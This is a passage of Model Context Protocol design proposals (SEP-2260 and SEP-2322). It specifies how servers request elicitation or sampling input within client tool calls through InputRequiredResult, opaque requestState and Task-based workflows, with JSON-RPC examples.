The canonical pattern remains fully supported:
```python theme={null}
# ✅ SUPPORTED: Sampling during tool execution
@mcp.tool()
async def analyze_data(data: str, ctx: Context) -> str:
# Request LLM analysis while processing the tool call
result = await ctx.session.create_message(
messages=[SamplingMessage(role="user", content=...)]
)
return result.content.text
```
## Implementation Guidance
### For Server Implementers
**No changes required** if your server:
* Only uses server-to-client requests within tool handlers
* Only uses server-to-client requests within resource/prompt handlers
* Uses server-to-client requests synchronously as part of processing a client request
**Changes required** if your server:
* Attempts to initiate server-to-client requests on standalone HTTP GET streams
* Attempts to send server-to-client requests requests independent of client operations
* Has background tasks that try to invoke server-to-client requests
Alternative designs will need to be implemented for the "Changes Required" case.
Implementors performing unsolicited server-to-client requests (typically URL Elicitation) immediately following initialization are encouraged to lazily perform these requests within the scope of a client-to-server request that requires that information from the client.
### Timeout Considerations
When an MCP Server initiates a "nested" request inside a client request, the duration of the parent request extends to include the user's response time.
Implementers **MUST** ensure that:
1. Transport timeouts (e.g. HTTP Request Timeout) are sufficient to accommodate "Human-in-the-loop" delays, which may be unbounded.
2. Short timeouts enforced by infrastructure (e.g. Load Balancers) may result in
connection termination before the user responds. For Streamable HTTP,
transport-level SSE keepalive mechanisms **SHOULD** be used to keep
connections alive and reset timers; `ping` requests **MAY** additionally be
used for protocol-level responsiveness checks.
### For Client Implementers
**No changes required** - Clients should already handle sampling/elicitation requests in the context of their own outbound requests. Potential to simplify implementations if out-of-band is currently supported.
Clients receiving server-to-client requests with no associated outbound request **SHOULD** respond with a `-32602` (Invalid Params) error.
### For Transport Implementers
Future transport implementations can rely on the guarantee that:
* Sampling/elicitation requests only occur within the scope of a client-initiated request
* Transports don't need to support arbitrary server-initiated request/response flows on standalone channels
* Request correlation and lifecycle management is simplified
## Timeline
(This SEP intends to serve as a public notice of the change prior to future protocol versions that will not be compatible with this usage)
## Alternatives Considered
### 1. Soft Deprecation
Use **SHOULD NOT** language to discourage but not prohibit the pattern.
**Rejected because:** The behavior was never intentionally supported, and leaving it ambiguous prevents transport simplification.
### 2. Keep Current Ambiguity
Leave the existing **SHOULD** language unchanged.
**Rejected because:** This blocks future transport implementations and leaves implementers uncertain about whether the pattern is supported.
### 3. Create a Capability Flag
Add a `sampling.standalone` or similar capability for servers that want this behavior.
**Rejected because:** This adds complexity for a use case with no known demand, and contradicts the "nested" design principle.
## References
* Current sampling documentation: `/specification/draft/client/sampling.mdx`
* Current elicitation documentation: `/specification/draft/client/elicitation.mdx`
* Transport specification: `/specification/draft/basic/transports.mdx`
* User interaction model discussion in client concepts documentation
# SEP-2322: Multi Round-Trip Requests
Source: https://modelcontextprotocol.io/seps/2322-MRTR
Multi Round-Trip Requests
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 2322 |
| **Title** | Multi Round-Trip Requests |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-02-03 |
| **Author(s)** | Mark D. Roth ([@markdroth](https://github.com/markdroth)), Caitie McCaffrey ([@CaitieM20](https://github.com/CaitieM20)), Gabriel Zimmerman ([@gjz22](https://github.com/gjz22)) |
| **Sponsor** | Caitie McCaffrey ([@CaitieM20](https://github.com/CaitieM20)) |
| **PR** | [#2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322) |
***
## Abstract
This proposal specifies a simple way to handle server-initiated requests
in the context of a client-initiated request (e.g., an elicitation
request in the context of a tool call) without requiring a shared
storage layer shared across server instances or statefulness in
load balancing, which will significantly reduce the cost of operating
MCP servers at scale in the common case. It also reduces the HTTP
transport's dependence on SSE streams, which cause problems in a lot of
environments that cannot support long-lived connections.
This proposed way of handling server-initiated requests will replace the current approach of sending server-initiated requests. This is a breaking change.
This SEP also specifies the subset of client requests that a server can
send a server-initiated request on. This is a reduced scope compared to the current spec and is also a breaking change.
Making a breaking change here is necessary since adoption of server-initiated request features like Elicitation, Sampling and ListRoots is very low or blocked for many Remote MCP servers or Server Hosted Clients due to the operational complextity of supporting the SSE streams and server-side state.
## Motivation
Note: This SEP is intended to provide a generic mechanism for handling
any server-initiated request in the context of any client-initiated
request. For clarity, throughout this document, we will specifically
discuss tool calls as a proxy for any client-initiated request, but it
should be read as applying equally to (e.g.) resource or prompt
requests; similarly, we will discuss elicitation requests as a proxy for
any server-initiated request, but it should be read as applying equally
to (e.g.) sampling requests.
We start with the observation that there are two types of MCP tools:
1. **Ephemeral**: No state is accumulated on the server side.
* If server needs more info to process the tool call, it can start from
scratch when it gets that additional info.
* Examples: weather app, accessing email
2. **Persistent**: State is accumulated on the server side.
* Server may generate a large amount of state before requesting more
info from the client, and it may need to pick up that state to
continue processing after it receives the info from the client.
* Server may need to continue processing in the background while
waiting for more info from the client, in which case server-side
state is needed to track that ongoing processing.
* Examples: accessing an agent, spinning up a VM and needing user
interaction to manipulate the VM
The vast majority of MCP tools will be ephemeral, and it is extremely
common for tools to be deployed in a horizontally scaled, load balanced
service, so we need to optimize for this case.
Today, if a tool needs to send an elicitation request in order to make
progress, the workflow works like this:
1. Client sends tool call request. For this example, let's assume that
the load balancers happen to send this request to server instance A.
2. Server A opens an SSE stream and sends the elicitation request on that
stream.
3. Client sends the elicitation response as a separate request, for which
the load balancers will choose a server instance completely
independently of the one they chose in step 1. In this example,
let's assume that the load balancers happen to send this request to
server instance B.
4. Server A must somehow discover the elicitation response delivered to
server B.
5. Server A then sends the tool call result on the SSE stream opened in
step 2.
```mermaid theme={null}
sequenceDiagram
participant C as Client
participant LB as Load Balancer
participant SA as Server Instance A
participant SB as Server Instance B
Note over C,SA: 1. Initial Request
C->>LB: Tool Call (Start)
LB->>SA: Route to Instance A
activate SA
SA-->>C: Elicitation Request (SSE Stream Open)
Note right of SA: Server A holds memory, waiting for response...
Note over C,SB: 2. User Responds
C->>LB: Elicitation Result
LB->>SB: Route to Instance B (Stateless LB)
activate SB
Note over SA,SB: A is waiting, but B has the data.
Note over SA,SB: Requires Shared Storage to bridge this gap.
deactivate SA
deactivate SB
```
The difficult part here is step 4, which requires some sort of
statefulness on the server side. The main way to solve this problem
today is to have a storage layer shared across all server instances, so
that multiple server instances can match up the elicitation response
on one server instance with the original ongoing tool call on a
different server instance.
There are two main approaches that can be used to solve this problem today:
* **Persistent Storage Layer Shared Across Server Instances**: Servers can
deploy and manage a persistent storage layer (e.g., PostgreSQL, Redis,
DynamoDB), which allow multiple server instances to match up the
elicitation response on one server instance with the original ongoing
tool call on a different server instance. This approach has a number
of drawbacks:
* The persistent storage layer is **extremely expensive**, especially for
ephemeral tools that may not already have such a layer (e.g., a weather
tool).
* The persistent storage layer imposes significant reliability concerns:
it becomes a critical dependency and therefore a potential single
point of failure. To avoid that, it must provide high availability,
replication, and backup mechanisms.
* The persistent storage layer becomes a bottleneck, limiting horizontal
scalability. Geographic distribution requires either expensive
global replication or sticky routing.
* The persistent storage layer also imposes significant operational
complexity. In horizontally scaled deployments, it requires
distributed locking or consensus protocols. It also requires special
garbage collection logic to determine when shared can be cleaned up,
which requires careful trade-offs: cleaning up state too aggressively
can reduce storage costs but limit how long users have to respond,
whereas cleaning up less aggressively accommodates slow users but
increases storage costs.
* This approach requires special behavior in the tool implementation to
integrate with the persistent storage layer. The MCP SDKs today do
not have any special hooks for this sort of storage layer integration,
which means that it's very hard to write in-line code via the SDKs.
* **Statefulness in Load Balancing**: With the use of cookies, it is
possible for the load balancing layer to ensure that the elicitation
request in step 3 is delivered to the same server instance that the
original request was delivered to in step 1. This approach, while
often cheaper than a persistent storage layer, has the following
drawbacks:
* It requires special configuration and behavior in the load
balancers, which is often difficult to manage.
* It breaks normal load balancing models, resulting in uneven load
distribution, thus increasing the cost of running the service.
* It requires special behavior in clients to propagate the cookies
used for statefulness.
* It requires the tool implementation to match up the elicitation
request with the ongoing tool call. (The MCP SDKs have some code to
handle this, but it's still a very strange pattern in the HTTP
world.)
* It is not fault tolerant. If the server instance goes down, all
state is lost, and the tool call would need to start over from
scratch. (This doesn't necessarily matter for ephemeral tools,
but it is an issue for persistent tools.)
Also, both of these approaches rely on the use of an SSE stream, which
causes problems in environments that cannot support long-lived
connections. They also require an instance of the tool to stay in memory
in a particular server instance indefinitely. This is particularly
problematic for elicitation requests specifically, since the result may
not come from the user for an unbounded amount of time (e.g., it could
be days or months, or maybe even never).
The goal of this SEP is to propose a simpler way to handle the pattern
of server-initiated requests within the context of a client-initiated
request. Specifically, we need to make it cheaper to support this pattern
in the common case of an ephemeral tool in a horizontally scaled, load
balanced deployment. This means that we need a solution that does not
depend on an SSE stream and does not require either a persistent storage
layer or stateful load balancing, which in turn means that we need to
avoid dependencies between requests: servers must be able to process
each individual request using no information other than what is present
in that individual request.
Note that while the goal here is to optimize the common case of ephemeral
tools, we do want to continue to support persistent tools, which generally
already require a persistent storage layer.
## Specification
This SEP proposes a new mechanism for handling server requests in the
context of a client request. This new mechanism will have a slightly
different workflow for ephemeral tools and persistent tools, the latter
of which will leverage Tasks. However, both workflows will use the same
data structures.
### Schema Changes
First, we introduce the notion of `InputRequests`, which represents
a set of one or more server-initiated request to be sent to the client,
and `InputResponses`, which represents the client's responses to
those requests. Both requests and responses are stored in a map with
string keys. For `InputRequests`, the map values are server-initiated
requests (e.g., elicitation or sampling requests), whereas for `InputResponses`, the map values are the responses to those requests. Here's
how that would look in the typescript MCP schema:
```typescript theme={null}
export type InputRequest =
CreateMessageRequest | ElicitRequest | ListRootsRequest;
export interface InputRequests {
[key: string]: InputRequest;
}
export type InputResponse =
CreateMessageResult | ElicitResult | ListRootsResult;
export interface InputResponses {
[key: string]: InputResponse;
}
```
The keys are assigned by the server when issuing the requests. The client
will send the response for each request using the corresponding key.
For example, a server might send the following input requests:
```json5 theme={null}
"inputRequests": {
// Elicitation request.
"github_login": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": {
"type": "string"
}
},
"required": ["name"]
}
}
},
// Sampling request.
"capital_of_france" : {
"method": "sampling/createMessage",
"params": {
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "What is the capital of France?"
}
}
],
"modelPreferences": {
"hints": [
{
"name": "claude-3-sonnet"
}
],
"intelligencePriority": 0.8,
"speedPriority": 0.5
},
"systemPrompt": "You are a helpful assistant.",
"maxTokens": 100
}
}
}
```
The client would then send the responses in the following form:
```json5 theme={null}
"inputResponses": {
// Elicitation response (ElicitResult).
"github_login": {
"action": "accept",
"content": {
"name": "octocat"
}
},
// Sampling response (CreateMessageResult).
"capital_of_france": {
"role": "assistant",
"content": {
"type": "text",
"text": "The capital of France is Paris."
},
"model": "claude-3-sonnet-20240307",
"stopReason": "endTurn"
}
}
```
The schema looks like this:
```typescript theme={null}
export interface InputRequiredResult extends Result {
// Requests issued by the server that must be complete before the
// client can retry the original request.
inputRequests?: InputRequests;
// Request state to be passed back to the server when the client
// retries the original request.
// Note: The client must treat this as an opaque blob; it must not
// interpret it in any way.
requestState?: string;
}
// RequestParams type that includes input responses and request state.
// These parameters may be included in any client-initiated request.
export interface InputResponseRequestParams extends RequestParams {
// New field to carry the responses for the server's requests from the
// InputRequiredResult message. For each key in the response's inputRequests
// field, the same key must appear here with the associated response.
inputResponses?: InputResponses;
// Request state passed back to the server from the client.
requestState?: string;
}
```
Since this change creates a polymorphic response for method calls like `tools/call`, we are introducing a new field to `Result` which indicate the `ResultType`. The client should parse this field to determine the type of the `Result` contained in the message. If this field is not provided, the Client should assume a `ResultType` of `"complete"` for backwards compatibility.
Extensions **MAY** add additional `ResultType` values. The set of supported `ResultType` values **MUST** be created from the set defined in the core protocol and include any additional values of supported extensions that are advertised via capabilities.
The Client **SHOULD** treat unrecognized values as invalid protocol responses.
The schema change will look like this:
```typescript theme={null}
/**
* Common result fields.
*
* @category Common Types
*/
export interface Result {
_meta?: MetaObject;
// New field to indicate the type of the result, which allows the client to determine how to parse the result object. If no resultType is specified "complete" should be assumed.
resultType: ResultType;
[key: string]: unknown;
}
export type ResultType =
| "complete" // the request completed successfully and the result contains the final content.
| "input_required" // the request is incomplete and the result contains an {@link InputRequiredResult} object
| string; // open to extensions
```
We anticipate this field will be useful for future extensibility, as it allows us to introduce new types of results and can also apply to `tasks` as well.
These types will be used in two different workflows, one for ephemeral
tools and another for persistent tools.
### Server-Initiated Request Support for Client Requests
Many `ClientRequest` don't have clear use cases where a Server would need to
request more information from the Client. This SEP builds upon [SEP-2260](https://modelcontextprotocol.io/seps/2260-Require-Server-requests-to-be-associated-with-Client-requests) and further restricts when a Server can send a Server-Initiated Request to the Client.
Servers MAY send `InputRequiredResult` responses on the following Client Requests:
| ClientRequest | ServerResult | InputRequiredResult Supported |
| ----------------------- | ---------------------- | ----------------------------- |
| `GetPromptRequest` | `GetPromptResult` | Yes |
| `ReadResourceRequest` | `ReadResourceResult` | Yes |
| `CallToolRequest` | `CallToolResult` | Yes |
| `GetTaskPayloadRequest` | `GetTaskPayloadResult` | Yes |
Servers MUST NOT send `InputRequiredResult` responses on any other Client Requests. The below table represents what `ClientRequest`s this excludes at the writing of this SEP.
| ClientRequest | InputRequiredResult Supported |
| ------------------------------ | ----------------------------- |
| `PingRequest` | No |
| `InitializeRequest` | No |
| `CompleteRequest` | No |
| `SetLevelRequest` | No |
| `ListPromptsRequest` | No |
| `ListResourcesRequest` | No |
| `ListResourceTemplatesRequest` | No |
| `SubscribeRequest` | No |
| `UnsubscribeRequest` | No |
| `ListToolsRequest` | No |
| `GetTaskRequest` | No |
| `ListTasksRequest` | No |
| `CancelTaskRequest` | No |
| `TaskInputResponseRequest` | No |
### Ephemeral Tool Workflow
For the ephemeral use case, in addition to input requests, we introduce
the concept of request state. In cases where the server needs more
information, the request state is sent to the client which echoes back
the state to the server, allowing the server to remain stateless.
We will adopt the following workflow for ephemeral tools:
1. Client sends tool call request.
2. Server sends back a single response indicating that the request is
incomplete. The response may include input requests that the client
must complete. It may also include some request state that the client
must return back to the server. This response terminates the original
request. It will normally be sent as a single response, not on an
SSE stream, although for now (this may change in a future SEP) it is
also legal to send this response on an SSE stream following (e.g.)
progress notifications. If this incomplete response is sent on an
SSE stream, it must be the last message on the SSE stream, just as if
it were a normal response.
3. Client sends a new tool call request, completely independent of the
original one. This new tool call includes responses to the input
requests from step 2. It also includes the request state specified by
the server in step 2.
4. Server sends back a CallToolResponse.
```mermaid theme={null}
sequenceDiagram
participant U as User
participant C as Client
participant S as Server (Stateless)
C->>S: tools/call (id: 1)
note right of S: Server needs more info Generates requestState
S-->>C: InputRequiredResult (id: 1, inputRequests, requestState)
note over C,S: Initial Request Terminated
C->>U: Prompts user for input
U-->>C: Provides responses
C->>S: tools/call (id: 2, inputResponses, requestState)
note right of S: Server reconstitutes state Completes execution
S-->>C: Result (id: 2, final content)
```
Note that the requests in steps 1 and 3 are completely independent: the
server that processes the request in step 3 does not need any
information that is not directly present in the request. To support this decoupling the JsonRPC Id MUST be different between the requests sent in step 1 and step 3.
Note that both the "inputRequests" and "requestState" fields affect
only the client's next retry of the original request. They will not
be used for any other request that the client may be sending in parallel
(e.g., a tool list or even another tool call).
Click to expand Example Flow for Ephemeral ToolsExample Flow for Ephemeral Tools
Note: This is a contrived example, just to illustrate the flow.
1. The client sends the initial call tool request:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
}
}
}
```
2. The server responds with an incomplete response, indicating that the
client needs to respond to an elicitation request in order for the tool
call to complete, and including request state to be passed back:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "input_required",
"inputRequests": {
"github_login": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": {
"type": "string"
}
},
"required": ["name"]
}
}
}
},
"requestState": "foo"
}
}
```
3. The client then retries the original tool call, this time including the
responses to the input server request and the request state:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
},
"inputResponses": {
"github_login": {
"action": "accept",
"content": {
"name": "octocat"
}
}
},
"requestState": "foo"
}
}
```
4. Finally, the server completes the tool call:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
}
],
"isError": false
}
}
```
#### Real-World Example for Ephemeral Workflow
This example demonstrates how `requestState` enables a multi-round-trip
elicitation flow driven by [Azure DevOps custom
rules](https://learn.microsoft.com/en-us/azure/devops/organizations/settings/work/custom-rules?view=azure-devops).
The scenario involves an `update_work_item` tool that transitions a Bug
work item to "Resolved." ADO custom rules require specific fields when
certain state transitions occur, and the server uses iterative
elicitation to gather them — accumulating context in `requestState`
across rounds so that the final update can be executed without any
server-side storage.
Click to expand ADO Custom Rules Example
**Background — ADO Custom Rules in effect:**
* *Rule 1:* When State changes to "Resolved" → require the "Resolution"
field (e.g., Fixed, Won't Fix, Duplicate, By Design).
* *Rule 2:* When Resolution is "Duplicate" → require the "Duplicate Of"
field (a link to the original work item).
##### Round 1 — Tool call triggers state change, server elicits Resolution
1. The client invokes the `update_work_item` tool to resolve Bug #4522:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "update_work_item",
"arguments": {
"workItemId": 4522,
"fields": { "System.State": "Resolved" }
}
}
}
```
2. The server recognizes that setting State to "Resolved" triggers
Rule 1, which requires a Resolution value. Rather than failing the
call, the server returns an incomplete response with an elicitation
request. No `requestState` is needed yet, since the original tool
call arguments will be re-sent on retry:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "input_required",
"inputRequests": {
"resolution": {
"method": "elicitation/create",
"params": {
"message": "Resolving Bug #4522 requires a resolution. How was this bug resolved?",
"requestedSchema": {
"type": "object",
"properties": {
"resolution": {
"type": "string",
"enum": ["Fixed", "Won't Fix", "Duplicate", "By Design"],
"description": "Resolution type for this bug"
}
},
"required": ["resolution"]
}
}
}
}
}
}
```
3. The user selects "Duplicate". The client retries the original tool
call with the elicitation response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "update_work_item",
"arguments": {
"workItemId": 4522,
"fields": { "System.State": "Resolved" }
},
"inputResponses": {
"resolution": {
"action": "accept",
"content": { "resolution": "Duplicate" }
}
}
}
}
```
##### Round 2 — Resolution triggers another rule, server elicits Duplicate Of
4. The server merges the user's response and sees that Resolution =
"Duplicate" triggers Rule 2, requiring a "Duplicate Of" link. It
returns another incomplete response, this time encoding the
already-gathered resolution in `requestState` so it is available
regardless of which server instance handles the next retry:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "input_required",
"inputRequests": {
"duplicate_of": {
"method": "elicitation/create",
"params": {
"message": "Since this is a duplicate, which work item is the original?",
"requestedSchema": {
"type": "object",
"properties": {
"duplicateOfId": {
"type": "number",
"description": "Work item ID of the original bug"
}
},
"required": ["duplicateOfId"]
}
}
}
},
"requestState": "eyJyZXNvbHV0aW9uIjoiRHVwbGljYXRlIn0..."
}
}
```
5. The user provides the original work item ID. The client retries the
tool call, echoing back the `requestState` and including the new
elicitation response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "update_work_item",
"arguments": {
"workItemId": 4522,
"fields": { "System.State": "Resolved" }
},
"inputResponses": {
"duplicate_of": {
"action": "accept",
"content": { "duplicateOfId": 4301 }
}
},
"requestState": "eyJyZXNvbHV0aW9uIjoiRHVwbGljYXRlIn0..."
}
}
```
##### Final — Server completes the update
6. The server decodes the `requestState` (which contains the
resolution), reads the `inputResponses` (which contains the
duplicate ID), and now has all required fields. It completes the
tool call:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "Bug #4522 resolved as Duplicate of Bug #4301. State set to Resolved and duplicate link created."
}
],
"isError": false
}
}
```
**Key takeaway:** Across both elicitation rounds, the server held no
in-memory or persisted state. The `requestState` field carried the
accumulated context through the client, and any server instance could
have handled any individual round.
#### Use Cases for Request State
The "requestState" mechanism provides a mechanism for doing multiple
round trips on the same logical request. There are two main use-cases
for this.
##### Use Case 1: Rolling Upgrades
Let's say that you are doing a rolling upgrade of your horizontally
scaled server instances to deploy a new version of a tool implementation.
The old version had two input requests with keys "github\_login" and
"google\_login". However, in the new version of the tool implementation,
it still uses the "github\_login" input request, but it replaces the
"google\_login" input request with a new "microsoft\_login" input request.
If the first request goes to an old version of the server but the second
attempt (that includes the input responses) goes to a new version
of the server, then the server will see the result for "github\_login",
which it needs, but it won't see the result for "microsoft\_login".
(It will also see the result for "google\_login", but it no longer needs
that, so it doesn't matter.) At this point, the server needs to send a
new input request for "microsoft\_login", but it also doesn't want
to lose the answer that it's already gotten for "github\_login", so it
would use the kind of state proposed in 1685 to retain that information
without having to store the state on the server side.
The workflow here would look like this:
1. Client sends tool call request that hits a server instance running
the old version.
2. Server sends back an incomplete response indicating the input
requests for "github\_login" and "google\_login".
3. Client sends a new tool call request that includes the responses to
the input requests for "github\_login" and "google\_login". This
time it hits a server instance running the new version.
4. Server sends back another incomplete response indicating the
input request for "microsoft\_login", which the client has not
already provided. However, the response also includes request state
containing the already-provided "github\_login" response, so that the
client does not need to prompt the user for the same information a
second time.
5. Client sends a third tool call request that includes the response to
the "microsoft\_login" input request as well as echoing back the
request state provided by the server in step 4.
6. Server now sees the "github\_login" info in the request state and the
"microsoft\_login" state in the input responses, so the request
now contains everything the server needs to perform the tool call and
send back a complete response.
##### Use Case 2: Load Shedding
Let's say that you have an MCP server instance that is processing a bunch
of tool calls and notices that it's too heavily loaded, so it wants to
move one of the ongoing tool calls to a different server instance.
However, it has already done a significant amount of processing on that
tool call, so it does not want to simply fail the call and have the
client start over from scratch on another server instance; instead, it
wants to preserve the state it has already accumulated, so that
whichever server instance resumes processing can pick up from where the
original server instance left off. This can be accomplished by sending
an incomplete request that contains request state but does not contain
any input requests.
The workflow here would look like this:
1. Client sends the original request, which the load balancers route
to server instance A.
2. Server instance A does a bunch of computation before deciding that it
needs to shed load. It sends an incomplete response with its
accumulated state in the `requestState` field but without the
`inputRequests` field.
3. Client retries the request with the `requestState` field attached.
The load balancers route this request to server instance B.
4. Server instance B starts from the state it sees in the `requestState`
field, thus picking up the computation from where server instance A
left off, and eventually returning a complete response.
#### Protocol Requirements for Ephemeral Workflow
1. **Server Behavior:**
* Servers MAY respond to any client-initiated request with a
`InputRequiredResult`. This message MAY be sent either
as a standalone response or as the final message on an SSE stream,
although implementations are encouraged to prefer the former.
If using an SSE stream, servers MUST NOT send any message on the
stream after the incomplete response message.
* The `InputRequiredResult` MAY include an
`inputRequests` field.
* The `InputRequiredResult` MAY include a
`requestState` field. If specified, this field is an opaque
string that is meaningful only to the server. Servers are free to
encode the state in any format (e.g., plain JSON, base64-encoded
JSON, encrypted JWT, serialized binary, etc.).
* If a request contains a `requestState` field, servers MUST always
validate that state, as the client is an untrusted intermediary.
If tampering is a concern, servers SHOULD encrypt the `requestState`
field using an encryption algorithm of their choice (e.g., they can
use AES-GCM or a signed JWT) to ensure both confidentiality and
integrity. Note that there is also a risk of replaying/hijacking
attacks, where an authenticated attacker resends state that was
originally sent to a different user. Therefore, if the request
state contains any data that is specific to the original user, the
server MUST use some mechanism to cryptographically bind the data
to the original user and MUST verify that the `requestState` data
sent by the client is associated with the currently authenticated
user. Servers using plaintext state MUST treat the decoded
values as untrusted input and validate them the same way they would
validate any client-supplied data.
2. **Client Behavior:**
* If a client receives an `InputRequiredResult` message,
if the message contains the `inputRequests` field, then the client
MUST construct the requested input before retrying the original
request. In contrast, if the message does *not* contain the
`inputRequests` field, then the client MAY retry the original
request immediately.
* If a client receives a `InputRequiredResult` message
that contains the `requestState` field, it MUST echo back the
exact value of that field when retrying the original request.
Clients MUST NOT inspect, parse, modify, or make any assumptions
about the `requestState` contents. If the `InputRequiredResult` does
not contain a `requestState` field, the client MUST NOT include one
in the retry.
### Persistent Tool Workflow
The persistent tool workflow will leverage Tasks. [`Tasks`](https://modelcontextprotocol.io/specification/draft/basic/utilities/tasks) already provide a mechanism to indicate that more information is needed to complete the request. The `input_required` Task Status allows the server to indicate that additional information is needed to complete processing the task.
The workflow for `Tasks` is as follows:
1. Server sets Task Status to `input_required`. The server can pause
processing the request at this point.
2. Client retrieves the Task Status by calling `tasks/get` and sees that more information is needed.
3. Client calls `tasks/result`
4. Server returns the `InputRequests` object.
5. Client calls `tasks/input_response` request that includes an `InputResponses` object along with `Task` metadata field.
6. Server resumes processing sets TaskStatus back to `working`.
```mermaid theme={null}
sequenceDiagram
participant U as User
participant C as Client
participant S as Server (Stateful)
C->>S: tools/call (id: 1, task config)
S-->>C: Result (id: 1, taskId, status: working)
note over C,S: Client polls for status
C->>S: tasks/get (id: 2, taskId)
S-->>C: Result (id: 2, status: input_required)
C->>S: tasks/result (id: 3, taskId)
S-->>C: Result (id: 3, inputRequests)
C->>U: Prompts user for input
U-->>C: Provides responses
C->>S: tasks/input_response (id: 4, taskId, inputResponses)
S-->>C: Result (id: 4, acknowledged)
note over C,S: Processing resumes, Client polls
C->>S: tasks/get (id: 5, taskId)
S-->>C: Result (id: 5, status: completed)
C->>S: tasks/result (id: 6, taskId)
S-->>C: Result (id: 6, final content)
```
Since `Tasks` are likely longer running, have state associated with them, and are likely more costly to compute, the request for more information does not end the originally requested operation (e.g., the tool call). Instead, the server can resume processing once the necessary information is provided.
To align with MRTR semantics, the server will respond to the `tasks/result` request with a `InputRequests` object. Both of these will have the same JsonRPC `id`. When the client responds with a `InputResponses` object this is a new client request with a new JSONRPC `id` and therefore needs a new method name. We propose `tasks/input_response`.
The above workflow and below example do not leverage any of the optional Task Status Notifications although this SEP does not preclude their use.
Click to expand Example Flow for Persistent Tools
The below example walks through the entire Task Message flow for a Echo Tool which can request additional information from the client via Elicitation.
1. Client Request to invoke EchoTool.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "echo",
"task": {
"ttl": 60000
}
}
}
```
2. Server Response with a `Task`
```json theme={null}
{
"id": 1,
"jsonrpc": "2.0",
"result": {
"task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5",
"status": "working",
"statusMessage": "Task has been created for echo tool invocation.",
"createdAt": "2026-01-27T03:32:48.3148180Z",
"lastUpdatedAt": "2026-01-27T03:32:48.3148180Z",
"ttl": 60000,
"pollInterval": 100
}
}
}
```
3. Client Request periodically checks the status of the `Task` using
`tasks/get`.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tasks/get",
"params": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
```
4. Server Response with Task status `input_required`
```json theme={null}
{
"id": 2,
"jsonrpc": "2.0",
"result": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5",
"status": "input_required",
"statusMessage": "Input Required to Proceed call tasks/result",
"createdAt": "2026-01-27T03:38:07.7534643Z",
"lastUpdatedAt": "2026-01-27T03:38:07.7534643Z",
"ttl": 60000,
"pollInterval": 100
}
}
```
5. Client Request sends message `tasks/result` to discover what input is
required to proceed.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tasks/result",
"params": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
```
6. Server Response returns `inputRequests` to request additional input
```json theme={null}
{
"id": 3,
"jsonrpc": "2.0",
"result": {
"resultType": "input_required",
"inputRequests": {
"echo_input": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide the input string to echo back",
"requestedSchema": {
"type": "object",
"properties": {
"input": { "type": "string" }
},
"required": ["input"]
}
}
}
}
},
"_meta": {
"io.modelcontextprotocol/related-task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
}
```
7. Client Request presents the Elicitation to the user and collects the
input, then sends message to the server.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"method": "tasks/input_response",
"params": {
"inputResponses": {
"echo_input": {
"action": "accept",
"content": {
"input": "Hello World!"
}
}
},
"_meta": {
"io.modelcontextprotocol/related-task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
}
}
```
8. Server Response Server should acknowledge the receipt of the
'tasks/input\_response' message by sending a 'JSONRPCResponse'. If the message
was successfully received a `JSONRPCResultResponse` is sent including the
`taskId`. If an error occurs, a `JSONRPCErrorResponse` is sent. The server
can now proceed to complete the `Task` using the provided input, and the
`Task` status changes to `Working`.
```json theme={null}
{
"id": 4,
"jsonrpc": "2.0",
"result": {
"_meta": {
"io.modelcontextprotocol/related-task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
}
}
```
9. Client Request continues to poll the input status using `tasks/get`
until server responds with Task Status of `Completed`
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"method": "tasks/get",
"params": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
```
10. Server Response with Task status `completed`
```json theme={null}
{
"id": 5,
"jsonrpc": "2.0",
"result": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5",
"status": "completed",
"statusMessage": "Task has been completed successfully, call tasks/result",
"createdAt": "2026-01-27T03:38:07.7534643Z",
